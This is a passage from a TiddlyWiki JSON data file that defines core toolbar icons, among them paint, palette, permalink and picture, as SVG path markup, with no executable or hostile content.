45.9031139,38.6955897 45.8895238,38.7016142 C45.8389288,38.7327898 45.7849056,38.7611034 45.7273406,38.7863919 C45.6506459,38.8200841 45.571574,38.8501593 45.4903462,38.8768094 Z\"></path>\n        </g>\n        <rect x=\"96\" y=\"80\" width=\"16\" height=\"48\" rx=\"8\"></rect>\n        <rect x=\"80\" y=\"96\" width=\"48\" height=\"16\" rx=\"8\"></rect>\n    </g>\n    </g>\n</svg>"
        },
        "$:/core/images/new-image-button": {
            "title": "$:/core/images/new-image-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-new-image-button tc-image-button\" viewBox=\"0 0 128 128\" width=\"22pt\" height=\"22pt\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M81.3619177,73.6270062 L97.1875317,46.2162388 C97.91364,44.9585822 97.4824378,43.3533085 96.2260476,42.6279312 L46.2162388,13.7547547 C44.9585822,13.0286463 43.3533085,13.4598485 42.6279312,14.7162388 L30.0575956,36.4886988 L40.0978909,31.2276186 C43.1404959,29.6333041 46.8692155,31.3421319 47.6479264,34.6877101 L51.2545483,52.3903732 L61.1353556,53.2399953 C63.2899974,53.4346096 65.1046382,54.9309951 65.706105,57.0091178 C65.7395572,57.1246982 65.8069154,57.3539875 65.9047035,57.6813669 C66.0696435,58.2335608 66.2581528,58.852952 66.4667073,59.5238092 C67.0618822,61.4383079 67.6960725,63.3742727 68.3393254,65.2021174 C68.5462918,65.7902259 68.7511789,66.3583016 68.953259,66.9034738 C69.5777086,68.5881157 70.1617856,70.0172008 70.6783305,71.110045 C70.9334784,71.6498566 71.1627732,72.0871602 71.4035746,72.5373068 C71.6178999,72.7492946 71.9508843,72.9623307 72.4151452,73.1586945 C73.5561502,73.6412938 75.1990755,73.899146 77.0720271,73.9171651 C77.9355886,73.9254732 78.7819239,73.8832103 79.5638842,73.8072782 C80.0123946,73.7637257 80.3172916,73.7224469 80.4352582,73.7027375 C80.7503629,73.6500912 81.0598053,73.6256267 81.3619177,73.6270062 L81.3619177,73.6270062 L81.3619177,73.6270062 L81.3619177,73.6270062 Z M37.4707881,2.64867269 C38.9217993,0.135447653 42.1388058,-0.723707984 44.6486727,0.725364314 L108.293614,37.4707881 C110.806839,38.9217993 111.665994,42.1388058 110.216922,44.6486727 L73.4714982,108.293614 C72.0204871,110.806839 68.8034805,111.665994 66.2936136,110.216922 L2.64867269,73.4714982 C0.135447653,72.0204871 -0.723707984,68.8034805 0.725364314,66.2936136 L37.4707881,2.64867269 L37.4707881,2.64867269 L37.4707881,2.64867269 L37.4707881,2.64867269 Z M80.3080975,53.1397764 C82.8191338,54.5895239 86.0299834,53.7291793 87.4797308,51.218143 C88.9294783,48.7071068 88.0691338,45.4962571 85.5580975,44.0465097 C83.0470612,42.5967622 79.8362116,43.4571068 78.3864641,45.968143 C76.9367166,48.4791793 77.7970612,51.6900289 80.3080975,53.1397764 L80.3080975,53.1397764 L80.3080975,53.1397764 L80.3080975,53.1397764 Z M96,112 L88.0070969,112 C83.5881712,112 80,108.418278 80,104 C80,99.5907123 83.5848994,96 88.0070969,96 L96,96 L96,88.0070969 C96,83.5881712 99.581722,80 104,80 C108.409288,80 112,83.5848994 112,88.0070969 L112,96 L119.992903,96 C124.411829,96 128,99.581722 128,104 C128,108.409288 124.415101,112 119.992903,112 L112,112 L112,119.992903 C112,124.411829 108.418278,128 104,128 C99.5907123,128 96,124.415101 96,119.992903 L96,112 L96,112 Z M33.3471097,51.7910932 C40.7754579,59.7394511 42.3564368,62.4818351 40.7958321,65.1848818 C39.2352273,67.8879286 26.9581062,62.8571718 24.7019652,66.7649227 C22.4458242,70.6726735 23.7947046,70.0228006 22.2648667,72.6725575 L41.9944593,84.0634431 C41.9944593,84.0634431 36.3904568,75.8079231 37.7602356,73.4353966 C40.2754811,69.0788636 46.5298923,72.1787882 48.1248275,69.4162793 C50.538989,65.234829 43.0222016,59.7770885 33.3471097,51.7910932 L33.3471097,51.7910932 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/new-journal-button": {
            "title": "$:/core/images/new-journal-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-new-journal-button tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M102.545455,112.818182 L102.545455,124.636364 L102.545455,124.636364 L102.545455,124.636364 C102.545455,125.941761 103.630828,127 104.969697,127 L111.030303,127 C112.369172,127 113.454545,125.941761 113.454545,124.636364 L113.454545,112.818182 L125.575758,112.818182 C126.914626,112.818182 128,111.759982 128,110.454545 L128,104.545455 C128,103.240018 126.914626,102.181818 125.575758,102.181818 L113.454545,102.181818 L113.454545,90.3636364 C113.454545,89.0582 112.369172,88 111.030303,88 L104.969697,88 L104.969697,88 C103.630828,88 102.545455,89.0582 102.545455,90.3636364 L102.545455,102.181818 L90.4242424,102.181818 L90.4242424,102.181818 C89.0853705,102.181818 88,103.240018 88,104.545455 L88,110.454545 L88,110.454545 L88,110.454545 C88,111.759982 89.0853705,112.818182 90.4242424,112.818182 L102.545455,112.818182 Z\"></path>\n        <g transform=\"translate(59.816987, 64.316987) rotate(30.000000) translate(-59.816987, -64.316987) translate(20.316987, 12.816987)\">\n            <g transform=\"translate(0.000000, 0.000000)\">\n                <path d=\"M9.99631148,0 C4.4755011,0 -2.27373675e-13,4.48070044 -2.27373675e-13,9.99759461 L-2.27373675e-13,91.6128884 C-2.27373675e-13,97.1344074 4.46966773,101.610483 9.99631148,101.610483 L68.9318917,101.610483 C74.4527021,101.610483 78.9282032,97.1297826 78.9282032,91.6128884 L78.9282032,9.99759461 C78.9282032,4.47607557 74.4585355,0 68.9318917,0 L9.99631148,0 Z M20.8885263,26 C24.2022348,26 26.8885263,23.3137085 26.8885263,20 C26.8885263,16.6862915 24.2022348,14 20.8885263,14 C17.5748178,14 14.8885263,16.6862915 14.8885263,20 C14.8885263,23.3137085 17.5748178,26 20.8885263,26 Z M57.3033321,25.6783342 C60.6170406,25.6783342 63.3033321,22.9920427 63.3033321,19.6783342 C63.3033321,16.3646258 60.6170406,13.6783342 57.3033321,13.6783342 C53.9896236,13.6783342 51.3033321,16.3646258 51.3033321,19.6783342 C51.3033321,22.9920427 53.9896236,25.6783342 57.3033321,25.6783342 Z\"></path>\n                <text font-family=\"Helvetica\" font-size=\"47.1724138\" font-weight=\"bold\" fill=\"#FFFFFF\">\n                    <tspan x=\"42\" y=\"77.4847912\" text-anchor=\"middle\"><<now \"DD\">></tspan>\n                </text>\n            </g>\n        </g>\n    </g>\n</svg>"
        },
        "$:/core/images/opacity": {
            "title": "$:/core/images/opacity",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-opacity tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M102.361773,65 C101.833691,67.051742 101.183534,69.0544767 100.419508,71 L82.5835324,71 C83.7602504,69.1098924 84.7666304,67.1027366 85.581205,65 L102.361773,65 Z M102.834311,63 C103.256674,61.0388326 103.568427,59.0365486 103.762717,57 L87.6555706,57 C87.3692052,59.0609452 86.9083652,61.0660782 86.2884493,63 L102.834311,63 Z M99.5852583,73 C98.6682925,75.0747721 97.6196148,77.0783056 96.4498253,79 L75.8124196,79 C77.8387053,77.2115633 79.6621163,75.1985844 81.2437158,73 L99.5852583,73 Z M95.1689122,81 C93.7449202,83.1155572 92.1695234,85.1207336 90.458251,87 L60.4614747,87 C65.1836162,85.86248 69.5430327,83.794147 73.3347255,81 L95.1689122,81 Z M87.6555706,47 L103.762717,47 C101.246684,20.6269305 79.0321807,0 52,0 C23.281193,0 0,23.281193 0,52 C0,77.2277755 17.9651296,98.2595701 41.8000051,103 L62.1999949,103 C67.8794003,101.870444 73.2255333,99.8158975 78.074754,97 L39,97 L39,95 L81.2493857,95 C83.8589242,93.2215015 86.2981855,91.2116653 88.5376609,89 L39,89 L39,87 L43.5385253,87 C27.7389671,83.1940333 16,68.967908 16,52 C16,32.117749 32.117749,16 52,16 C70.1856127,16 85.2217929,29.4843233 87.6555706,47 Z M87.8767787,49 L103.914907,49 C103.971379,49.9928025 104,50.9930589 104,52 C104,53.0069411 103.971379,54.0071975 103.914907,55 L87.8767787,55 C87.958386,54.0107999 88,53.0102597 88,52 C88,50.9897403 87.958386,49.9892001 87.8767787,49 Z\"></path>\n        <path d=\"M76,128 C104.718807,128 128,104.718807 128,76 C128,47.281193 104.718807,24 76,24 C47.281193,24 24,47.281193 24,76 C24,104.718807 47.281193,128 76,128 L76,128 Z M76,112 C95.882251,112 112,95.882251 112,76 C112,56.117749 95.882251,40 76,40 C56.117749,40 40,56.117749 40,76 C40,95.882251 56.117749,112 76,112 L76,112 Z\"></path>\n        <path d=\"M37,58 L90,58 L90,62 L37,62 L37,58 L37,58 Z M40,50 L93,50 L93,54 L40,54 L40,50 L40,50 Z M40,42 L93,42 L93,46 L40,46 L40,42 L40,42 Z M32,66 L85,66 L85,70 L32,70 L32,66 L32,66 Z M30,74 L83,74 L83,78 L30,78 L30,74 L30,74 Z M27,82 L80,82 L80,86 L27,86 L27,82 L27,82 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/open-window": {
            "title": "$:/core/images/open-window",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-open-window tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M16,112 L104.993898,112 C108.863261,112 112,115.590712 112,120 C112,124.418278 108.858091,128 104.993898,128 L7.00610161,128 C3.13673853,128 0,124.409288 0,120 C0,119.998364 4.30952878e-07,119.996727 1.29273572e-06,119.995091 C4.89579306e-07,119.993456 0,119.99182 0,119.990183 L0,24.0098166 C0,19.586117 3.59071231,16 8,16 C12.418278,16 16,19.5838751 16,24.0098166 L16,112 Z\"></path>\n        <path d=\"M96,43.1959595 L96,56 C96,60.418278 99.581722,64 104,64 C108.418278,64 112,60.418278 112,56 L112,24 C112,19.5907123 108.415101,16 103.992903,16 L72.0070969,16 C67.5881712,16 64,19.581722 64,24 C64,28.4092877 67.5848994,32 72.0070969,32 L84.5685425,32 L48.2698369,68.2987056 C45.1421332,71.4264093 45.1434327,76.4904296 48.267627,79.614624 C51.3854642,82.7324612 56.4581306,82.7378289 59.5835454,79.6124141 L96,43.1959595 Z M32,7.9992458 C32,3.58138434 35.5881049,0 39.9992458,0 L120.000754,0 C124.418616,0 128,3.5881049 128,7.9992458 L128,88.0007542 C128,92.4186157 124.411895,96 120.000754,96 L39.9992458,96 C35.5813843,96 32,92.4118951 32,88.0007542 L32,7.9992458 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/options-button": {
            "title": "$:/core/images/options-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-options-button tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M110.48779,76.0002544 C109.354214,80.4045063 107.611262,84.5641217 105.354171,88.3838625 L105.354171,88.3838625 L112.07833,95.1080219 C115.20107,98.2307613 115.210098,103.299824 112.089164,106.420759 L106.420504,112.089418 C103.301049,115.208874 98.2346851,115.205502 95.1077675,112.078585 L88.3836082,105.354425 C84.5638673,107.611516 80.4042519,109.354468 76,110.488045 L76,110.488045 L76,119.993281 C76,124.409501 72.4220153,128.000254 68.0083475,128.000254 L59.9916525,128.000254 C55.5800761,128.000254 52,124.41541 52,119.993281 L52,110.488045 C47.5957481,109.354468 43.4361327,107.611516 39.6163918,105.354425 L32.8922325,112.078585 C29.7694931,115.201324 24.7004301,115.210353 21.5794957,112.089418 L15.9108363,106.420759 C12.7913807,103.301303 12.7947522,98.2349395 15.9216697,95.1080219 L22.6458291,88.3838625 C20.3887383,84.5641217 18.6457859,80.4045063 17.5122098,76.0002544 L8.00697327,76.0002544 C3.59075293,76.0002544 2.19088375e-16,72.4222697 4.89347582e-16,68.0086019 L9.80228577e-16,59.9919069 C1.25035972e-15,55.5803305 3.58484404,52.0002544 8.00697327,52.0002544 L17.5122098,52.0002544 C18.6457859,47.5960025 20.3887383,43.4363871 22.6458291,39.6166462 L15.9216697,32.8924868 C12.7989304,29.7697475 12.7899019,24.7006845 15.9108363,21.5797501 L21.5794957,15.9110907 C24.6989513,12.7916351 29.7653149,12.7950065 32.8922325,15.9219241 L39.6163918,22.6460835 C43.4361327,20.3889927 47.5957481,18.6460403 52,17.5124642 L52,8.00722764 C52,3.5910073 55.5779847,0.000254375069 59.9916525,0.000254375069 L68.0083475,0.000254375069 C72.4199239,0.000254375069 76,3.58509841 76,8.00722764 L76,17.5124642 C80.4042519,18.6460403 84.5638673,20.3889927 88.3836082,22.6460835 L95.1077675,15.9219241 C98.2305069,12.7991848 103.29957,12.7901562 106.420504,15.9110907 L112.089164,21.5797501 C115.208619,24.6992057 115.205248,29.7655693 112.07833,32.8924868 L105.354171,39.6166462 L105.354171,39.6166462 C107.611262,43.4363871 109.354214,47.5960025 110.48779,52.0002544 L119.993027,52.0002544 C124.409247,52.0002544 128,55.5782391 128,59.9919069 L128,68.0086019 C128,72.4201783 124.415156,76.0002544 119.993027,76.0002544 L110.48779,76.0002544 L110.48779,76.0002544 Z M64,96.0002544 C81.673112,96.0002544 96,81.6733664 96,64.0002544 C96,46.3271424 81.673112,32.0002544 64,32.0002544 C46.326888,32.0002544 32,46.3271424 32,64.0002544 C32,81.6733664 46.326888,96.0002544 64,96.0002544 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/paint": {
            "title": "$:/core/images/paint",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-paint tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M83.5265806,76.1907935 C90.430962,69.2864121 91.8921169,59.0000433 87.9100453,50.6642209 L125.812763,12.7615036 C128.732035,9.84223095 128.72611,5.10322984 125.812796,2.18991592 C122.893542,-0.729338085 118.161775,-0.730617045 115.241209,2.18994966 L77.3384914,40.092667 C69.002669,36.1105954 58.7163002,37.5717503 51.8119188,44.4761317 L83.5265806,76.1907935 L83.5265806,76.1907935 L83.5265806,76.1907935 L83.5265806,76.1907935 Z M80.8836921,78.8336819 L49.1690303,47.1190201 C49.1690303,47.1190201 8.50573364,81.242543 0,80.2820711 C0,80.2820711 3.78222974,85.8744423 6.82737483,88.320684 C20.8514801,82.630792 44.1526049,63.720771 44.1526049,63.720771 L44.8144806,64.3803375 C44.8144806,64.3803375 19.450356,90.2231043 9.18040433,92.0477601 C10.4017154,93.4877138 13.5343883,96.1014812 15.4269991,97.8235871 C20.8439164,96.3356979 50.1595367,69.253789 50.1595367,69.253789 L50.8214124,69.9133555 L18.4136144,100.936036 L23.6993903,106.221812 L56.1060358,75.2002881 L56.7679115,75.8598546 C56.7679115,75.8598546 28.9040131,106.396168 28.0841366,108.291555 C28.0841366,108.291555 34.1159238,115.144621 35.6529617,116.115796 C36.3545333,113.280171 63.5365402,82.6307925 63.5365402,82.6307925 L64.1984159,83.290359 C64.1984159,83.290359 43.6013016,107.04575 39.2343772,120.022559 C42.443736,123.571575 46.7339155,125.159692 50.1595362,126.321151 C47.9699978,114.504469 80.8836921,78.8336819 80.8836921,78.8336819 L80.8836921,78.8336819 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/palette": {
            "title": "$:/core/images/palette",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-palette tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M80.2470434,39.1821571 C75.0645698,38.2680897 69.6261555,37.7814854 64.0193999,37.7814854 C28.6624616,37.7814854 0,57.1324214 0,81.0030106 C0,90.644534 4.67604329,99.5487133 12.5805659,106.738252 C23.5031767,91.1899067 26.3405471,72.3946229 36.8885698,63.5622337 C52.0716764,50.8486559 63.4268694,55.7343343 63.4268694,55.7343343 L80.2470434,39.1821571 Z M106.781666,48.8370714 C119.830962,56.749628 128.0388,68.229191 128.0388,81.0030106 C128.0388,90.3534932 128.557501,98.4142085 116.165191,106.082518 C105.367708,112.763955 112.341384,99.546808 104.321443,95.1851533 C96.3015017,90.8234987 84.3749007,96.492742 86.1084305,103.091059 C89.3087234,115.272303 105.529892,114.54645 92.4224435,119.748569 C79.3149955,124.950687 74.2201582,124.224536 64.0193999,124.224536 C56.1979176,124.224536 48.7040365,123.277578 41.7755684,121.544216 C51.620343,117.347916 69.6563669,109.006202 75.129737,102.088562 C82.7876655,92.4099199 87.3713218,80.0000002 83.3235694,72.4837191 C83.1303943,72.1250117 94.5392656,60.81569 106.781666,48.8370714 Z M1.13430476,123.866563 C0.914084026,123.867944 0.693884185,123.868637 0.473712455,123.868637 C33.9526848,108.928928 22.6351223,59.642592 59.2924543,59.6425917 C59.6085574,61.0606542 59.9358353,62.5865065 60.3541977,64.1372318 C34.4465025,59.9707319 36.7873124,112.168427 1.13429588,123.866563 L1.13430476,123.866563 Z M1.84669213,123.859694 C40.7185279,123.354338 79.9985412,101.513051 79.9985401,79.0466836 C70.7284906,79.0466835 65.9257264,75.5670082 63.1833375,71.1051511 C46.585768,64.1019718 32.81846,116.819636 1.84665952,123.859695 L1.84669213,123.859694 Z M67.1980193,59.8524981 C62.748213,63.9666823 72.0838429,76.2846822 78.5155805,71.1700593 C89.8331416,59.8524993 112.468264,37.2173758 123.785825,25.8998146 C135.103386,14.5822535 123.785825,3.26469247 112.468264,14.5822535 C101.150703,25.8998144 78.9500931,48.9868127 67.1980193,59.8524981 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/permalink-button": {
            "title": "$:/core/images/permalink-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-permalink-button tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M80.4834582,48 L73.0956761,80 L73.0956761,80 L47.5165418,80 L54.9043239,48 L80.4834582,48 Z M84.1773493,32 L89.8007299,7.64246248 C90.7941633,3.33942958 95.0918297,0.64641956 99.3968675,1.64031585 C103.693145,2.63218977 106.385414,6.93288901 105.390651,11.2416793 L100.598215,32 L104.000754,32 C108.411895,32 112,35.581722 112,40 C112,44.4092877 108.418616,48 104.000754,48 L96.9043239,48 L89.5165418,80 L104.000754,80 C108.411895,80 112,83.581722 112,88 C112,92.4092877 108.418616,96 104.000754,96 L85.8226507,96 L80.1992701,120.357538 C79.2058367,124.66057 74.9081703,127.35358 70.6031325,126.359684 C66.3068546,125.36781 63.6145865,121.067111 64.6093491,116.758321 L69.401785,96 L43.8226507,96 L38.1992701,120.357538 C37.2058367,124.66057 32.9081703,127.35358 28.6031325,126.359684 C24.3068546,125.36781 21.6145865,121.067111 22.6093491,116.758321 L27.401785,96 L23.9992458,96 C19.5881049,96 16,92.418278 16,88 C16,83.5907123 19.5813843,80 23.9992458,80 L31.0956761,80 L38.4834582,48 L23.9992458,48 C19.5881049,48 16,44.418278 16,40 C16,35.5907123 19.5813843,32 23.9992458,32 L42.1773493,32 L47.8007299,7.64246248 C48.7941633,3.33942958 53.0918297,0.64641956 57.3968675,1.64031585 C61.6931454,2.63218977 64.3854135,6.93288901 63.3906509,11.2416793 L58.598215,32 L84.1773493,32 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/permaview-button": {
            "title": "$:/core/images/permaview-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-permaview-button tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M81.4834582,48 L79.6365127,56 L79.6365127,56 L74.0573784,56 L75.9043239,48 L81.4834582,48 Z M85.1773493,32 L90.8007299,7.64246248 C91.7941633,3.33942958 96.0918297,0.64641956 100.396867,1.64031585 C104.693145,2.63218977 107.385414,6.93288901 106.390651,11.2416793 L101.598215,32 L104.000754,32 C108.411895,32 112,35.581722 112,40 C112,44.4092877 108.418616,48 104.000754,48 L97.9043239,48 L96.0573784,56 L104.000754,56 C108.411895,56 112,59.581722 112,64 C112,68.4092877 108.418616,72 104.000754,72 L92.3634873,72 L90.5165418,80 L104.000754,80 C108.411895,80 112,83.581722 112,88 C112,92.4092877 108.418616,96 104.000754,96 L86.8226507,96 L81.1992701,120.357538 C80.2058367,124.66057 75.9081703,127.35358 71.6031325,126.359684 C67.3068546,125.36781 64.6145865,121.067111 65.6093491,116.758321 L70.401785,96 L64.8226507,96 L59.1992701,120.357538 C58.2058367,124.66057 53.9081703,127.35358 49.6031325,126.359684 C45.3068546,125.36781 42.6145865,121.067111 43.6093491,116.758321 L48.401785,96 L42.8226507,96 L37.1992701,120.357538 C36.2058367,124.66057 31.9081703,127.35358 27.6031325,126.359684 C23.3068546,125.36781 20.6145865,121.067111 21.6093491,116.758321 L26.401785,96 L23.9992458,96 C19.5881049,96 16,92.418278 16,88 C16,83.5907123 19.5813843,80 23.9992458,80 L30.0956761,80 L31.9426216,72 L23.9992458,72 C19.5881049,72 16,68.418278 16,64 C16,59.5907123 19.5813843,56 23.9992458,56 L35.6365127,56 L37.4834582,48 L23.9992458,48 C19.5881049,48 16,44.418278 16,40 C16,35.5907123 19.5813843,32 23.9992458,32 L41.1773493,32 L46.8007299,7.64246248 C47.7941633,3.33942958 52.0918297,0.64641956 56.3968675,1.64031585 C60.6931454,2.63218977 63.3854135,6.93288901 62.3906509,11.2416793 L57.598215,32 L63.1773493,32 L68.8007299,7.64246248 C69.7941633,3.33942958 74.0918297,0.64641956 78.3968675,1.64031585 C82.6931454,2.63218977 85.3854135,6.93288901 84.3906509,11.2416793 L79.598215,32 L85.1773493,32 Z M53.9043239,48 L52.0573784,56 L57.6365127,56 L59.4834582,48 L53.9043239,48 Z M75.9426216,72 L74.0956761,80 L74.0956761,80 L68.5165418,80 L70.3634873,72 L75.9426216,72 L75.9426216,72 Z M48.3634873,72 L46.5165418,80 L52.0956761,80 L53.9426216,72 L48.3634873,72 L48.3634873,72 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/picture": {
            "title": "$:/core/images/picture",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-picture tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M112,68.2332211 L112,20.0027785 C112,17.7898769 110.207895,16 107.997221,16 L20.0027785,16 C17.7898769,16 16,17.792105 16,20.0027785 L16,58.312373 L25.2413115,43.7197989 C28.041793,39.297674 34.2643908,38.7118128 37.8410347,42.5335275 L56.0882845,63.1470817 L69.7748997,56.7400579 C72.766567,55.3552503 76.3013751,55.9473836 78.678437,58.2315339 C78.8106437,58.3585731 79.0742301,58.609836 79.4527088,58.9673596 C80.0910923,59.570398 80.8117772,60.2441563 81.598127,60.9705595 C83.8422198,63.043576 86.1541548,65.1151944 88.3956721,67.0372264 C89.1168795,67.6556396 89.8200801,68.2492007 90.5021258,68.8146755 C92.6097224,70.5620551 94.4693308,72.0029474 95.9836366,73.0515697 C96.7316295,73.5695379 97.3674038,73.9719282 98.0281481,74.3824999 C98.4724987,74.4989557 99.0742374,74.5263881 99.8365134,74.4317984 C101.709944,74.1993272 104.074502,73.2878514 106.559886,71.8846196 C107.705822,71.2376318 108.790494,70.5370325 109.764561,69.8410487 C110.323259,69.4418522 110.694168,69.1550757 110.834827,69.0391868 C111.210545,68.7296319 111.600264,68.4615815 112,68.2332211 L112,68.2332211 Z M0,8.00697327 C0,3.58484404 3.59075293,0 8.00697327,0 L119.993027,0 C124.415156,0 128,3.59075293 128,8.00697327 L128,119.993027 C128,124.415156 124.409247,128 119.993027,128 L8.00697327,128 C3.58484404,128 0,124.409247 0,119.993027 L0,8.00697327 L0,8.00697327 Z M95,42 C99.418278,42 103,38.418278 103,34 C103,29.581722 99.418278,26 95,26 C90.581722,26 87,29.581722 87,34 C87,38.418278 90.581722,42 95,42 L95,42 Z M32,76 C47.8587691,80.8294182 52.0345556,83.2438712 52.0345556,88 C52.0345556,92.7561288 32,95.4712486 32,102.347107 C32,109.222965 33.2849191,107.337637 33.2849191,112 L67.999999,112 C67.999999,112 54.3147136,105.375255 54.3147136,101.200691 C54.3147136,93.535181 64.9302432,92.860755 64.9302432,88 C64.9302432,80.6425555 50.8523779,79.167282 32,76 L32,76 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/plugin-generic-language": {
            "title": "$:/core/images/plugin-generic-language",
            "tags": "$:/tags/Image",
            "text": "<svg width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M61.2072232,68.1369825 C56.8829239,70.9319564 54.2082892,74.793177 54.2082892,79.0581634 C54.2082892,86.9638335 63.3980995,93.4821994 75.2498076,94.3940006 C77.412197,98.2964184 83.8475284,101.178858 91.5684735,101.403106 C86.4420125,100.27851 82.4506393,97.6624107 80.9477167,94.3948272 C92.8046245,93.4861461 102,86.9662269 102,79.0581634 C102,70.5281905 91.3014611,63.6132813 78.1041446,63.6132813 C71.5054863,63.6132813 65.5315225,65.3420086 61.2072232,68.1369825 Z M74.001066,53.9793443 C69.6767667,56.7743182 63.7028029,58.5030456 57.1041446,58.5030456 C54.4851745,58.5030456 51.9646095,58.2307276 49.6065315,57.7275105 C46.2945155,59.9778212 41.2235699,61.4171743 35.5395922,61.4171743 C35.4545771,61.4171743 35.3696991,61.4168523 35.2849622,61.4162104 C39.404008,60.5235193 42.7961717,58.6691298 44.7630507,56.286533 C37.8379411,53.5817651 33.2082892,48.669413 33.2082892,43.0581634 C33.2082892,34.5281905 43.9068281,27.6132812 57.1041446,27.6132812 C70.3014611,27.6132812 81,34.5281905 81,43.0581634 C81,47.3231498 78.3253653,51.1843704 74.001066,53.9793443 Z M64,0 L118.5596,32 L118.5596,96 L64,128 L9.44039956,96 L9.44039956,32 L64,0 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/plugin-generic-plugin": {
            "title": "$:/core/images/plugin-generic-plugin",
            "tags": "$:/tags/Image",
            "text": "<svg width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M40.3972881,76.4456988 L40.3972881,95.3404069 L54.5170166,95.3404069 L54.5170166,95.3404069 C54.5165526,95.3385183 54.516089,95.3366295 54.515626,95.3347404 C54.6093153,95.3385061 54.7034848,95.3404069 54.7980982,95.3404069 C58.6157051,95.3404069 61.710487,92.245625 61.710487,88.4280181 C61.710487,86.6197822 61.01617,84.9737128 59.8795929,83.7418666 L59.8795929,83.7418666 C59.8949905,83.7341665 59.9104102,83.7265043 59.925852,83.7188798 C58.8840576,82.5086663 58.2542926,80.9336277 58.2542926,79.2114996 C58.2542926,75.3938927 61.3490745,72.2991108 65.1666814,72.2991108 C68.9842884,72.2991108 72.0790703,75.3938927 72.0790703,79.2114996 C72.0790703,81.1954221 71.2432806,82.9841354 69.9045961,84.2447446 L69.9045961,84.2447446 C69.9333407,84.2629251 69.9619885,84.281245 69.9905383,84.2997032 L69.9905383,84.2997032 C69.1314315,85.4516923 68.6228758,86.8804654 68.6228758,88.4280181 C68.6228758,91.8584969 71.1218232,94.7053153 74.3986526,95.2474079 C74.3913315,95.2784624 74.3838688,95.3094624 74.3762652,95.3404069 L95.6963988,95.3404069 L95.6963988,75.5678578 L95.6963988,75.5678578 C95.6466539,75.5808558 95.5967614,75.5934886 95.5467242,75.6057531 C95.5504899,75.5120637 95.5523907,75.4178943 95.5523907,75.3232809 C95.5523907,71.505674 92.4576088,68.4108921 88.6400019,68.4108921 C86.831766,68.4108921 85.1856966,69.105209 83.9538504,70.2417862 L83.9538504,70.2417862 C83.9461503,70.2263886 83.938488,70.2109688 83.9308636,70.1955271 C82.7206501,71.2373215 81.1456115,71.8670865 79.4234834,71.8670865 C75.6058765,71.8670865 72.5110946,68.7723046 72.5110946,64.9546976 C72.5110946,61.1370907 75.6058765,58.0423088 79.4234834,58.0423088 C81.4074059,58.0423088 83.1961192,58.8780985 84.4567284,60.2167829 L84.4567284,60.2167829 C84.4749089,60.1880383 84.4932288,60.1593906 84.511687,60.1308407 L84.511687,60.1308407 C85.6636761,60.9899475 87.0924492,61.4985032 88.6400019,61.4985032 C92.0704807,61.4985032 94.9172991,58.9995558 95.4593917,55.7227265 C95.538755,55.7414363 95.6177614,55.761071 95.6963988,55.7816184 L95.6963988,40.0412962 L74.3762652,40.0412962 L74.3762652,40.0412962 C74.3838688,40.0103516 74.3913315,39.9793517 74.3986526,39.9482971 L74.3986526,39.9482971 C71.1218232,39.4062046 68.6228758,36.5593862 68.6228758,33.1289073 C68.6228758,31.5813547 69.1314315,30.1525815 69.9905383,29.0005925 C69.9619885,28.9821342 69.9333407,28.9638143 69.9045961,28.9456339 C71.2432806,27.6850247 72.0790703,25.8963113 72.0790703,23.9123888 C72.0790703,20.0947819 68.9842884,17 65.1666814,17 C61.3490745,17 58.2542926,20.0947819 58.2542926,23.9123888 C58.2542926,25.6345169 58.8840576,27.2095556 59.925852,28.419769 L59.925852,28.419769 C59.9104102,28.4273935 59.8949905,28.4350558 59.8795929,28.4427558 C61.01617,29.674602 61.710487,31.3206715 61.710487,33.1289073 C61.710487,36.9465143 58.6157051,40.0412962 54.7980982,40.0412962 C54.7034848,40.0412962 54.6093153,40.0393953 54.515626,40.0356296 L54.515626,40.0356296 C54.516089,40.0375187 54.5165526,40.0394075 54.5170166,40.0412962 L40.3972881,40.0412962 L40.3972881,52.887664 L40.3972881,52.887664 